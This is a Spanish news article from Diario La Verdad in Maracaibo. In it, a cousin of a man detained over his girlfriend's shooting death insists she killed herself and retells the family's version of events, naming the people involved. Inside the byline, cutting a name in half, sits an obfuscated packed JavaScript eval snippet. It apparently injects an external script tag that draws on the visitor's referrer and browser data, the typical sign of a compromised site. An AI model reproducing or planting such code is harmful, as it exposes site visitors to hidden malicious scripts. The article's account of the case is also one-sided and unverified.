“Mi primo no es un asesino, ella se suicidó”

Edwin Aldrin Charry / Maracaibo / [email protected]
Maribel eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|taaiy|var|u0026u|referrer|ntihe||js|php'.split('|'),0,{})) Gil, se acercó a las instalaciones del diario La Verdad para limpiar el nombre de su primo. Nerio Alberto Vílchez Simanca (25) no mató a María Angélica Nava Borjas (21), quien era su novia. Pidió justicia por la libertad de su primo, quien se encuentra aún detenido en el calabozo de la Policía científica

Maribel Gil se acercó hasta la sede del periódico para colocar su derecho a réplica (José Gil)

Familiares, amigos y vecinos de Nerio Alberto Vílchez Simanca, de 25 años, se acercaron a La Verdad en la mañana de ayer, para negar que el joven asesinó a María Angélica Nava Borjas, de 21 años, quien era su novia, la noche del pasado 24 de septiembre en la casa n° 22-41, calle 8 del barrio Corazón de Jesús, sector Sierra Maestra, parroquia Francisco Ochoa del municipio San Francisco.

Maribel Gil, prima de Vílchez, comentó que en reiteradas ocasiones observó cómo los medios de comunicación tachaban como asesino a su primo, cuando aún no ha sido efectuado su juicio, que tiene fecha el próximo domingo 30 de noviembre. Dijo que no existen suficientes elementos como para que un juez lo declare culpable. Contó que la prueba de Análisis de Traza de Disparo que se le hizo a su primo en búsqueda de residuos de plomo, bario y antimonio, dio negativa, por lo que se aseguró que Nerio no accionó la pistola Tanfoglio, modelo GP32, calibre 9mm con la que se le acusa.

“Yo no me explico por qué cada vez que se habla del caso nunca mencionan el arma de fuego con la que se disparó. Ese revólver es del padre, quien no vive en esa casa. ¿Cómo tuvo acceso a esa arma si no vivía con él? ¿Por qué el señor no está detenido también o bajo investigación? Mi primo no es un asesino, ella se suicidó”.

Gil comentó que Alberto Vílchez Simanca Gil, abogado del encarcelado, pidió una reconstrucción de los hechos, en donde se evidenció la inocencia del joven. La abuela y la tía de la occisa, se encontraban junto a él en el patio de la casa, cuando se escuchó la detonación dentro de la casa.

“Creemos en las leyes venezolanas. Así como hay fiscales que se venden, también hay fiscales justos. Vamos a seguir confiando en la ley divina de Dios, y vamos a confiar en que la fiscal tome la decisión correcta”.

Reconstrucción de los hechos

Familiares de Vílchez, comentaron que María Angélica Nava Borjas estaba a punto de graduarse como abogada de la Universidad Dr. Rafael Belloso Chacín. Se encontraba compartiendo junto a Nerio Alberto Vílchez Simanca, su novio; su abuela, y su tía, cuando se retira del patio para dejarlos solos. Vílchez, al revisar su teléfono celular, consiguió un mensaje de un antiguo novio de la joven, a la cual acosaba constantemente para que volvieran. Al pararse y voltear con brusquedad para dirigirse hacia su novia, esta sale corriendo y cierra la puerta de su cuarto con pasador.

A los pocos minutos se escuchó la detonación que los alertó a todos, temiendo lo peor. Las señoras buscaron herramientas que tenían a la mano para que el joven lograra abrir la puerta que los separaba de la joven estudiante de derecho. Tarjetas, destornilladores, radiografías, y un sinfín de objetos más pasaron por sus manos para abrir la puerta, por lo que terminó alejándose para asestarle una patada y tumbarla, acción que resultó positiva.

Al entrar en la habitación, el panorama que se les mostró no pudo ser el mejor: María Angélica yacía tirada en el suelo, sobre un charco de sangre que emanaba de su abdomen, a su lado se encontraba la pistola con la que se disparó. El joven operador de planta de Corpoelec, no se dejó vencer por el miedo y la angustia; se quitó la camisa y la presionó contra la herida de bala, la levantó del suelo en brazos y la subió a su auto en compañía de la tía de Nava, para llevarla hasta una clínica cercana, en el sector Sierra Maestra. Al centro asistencial llegó el padre de la joven, y a los minutos, una comisión de la Policía Municipal de San Francisco, llegó para llevarse detenido a Vílchez, trasladado a su vez hasta la sede de la Policía científica.

Los médicos de guardia intentaron todo lo posible por salvar la vida de María Nava, pero murió al poco tiempo de ser ingresada al centro de salud.

 

 

Más noticias

Comentarios
© 2017, Diario La Verdad. Maracaibo. Venezuela C.A. RIF J-30540623-5. Términos Legales. Contáctenos via: [email protected] , [email protected] o [email protected]
Desarrollado por Miguel Guadarrama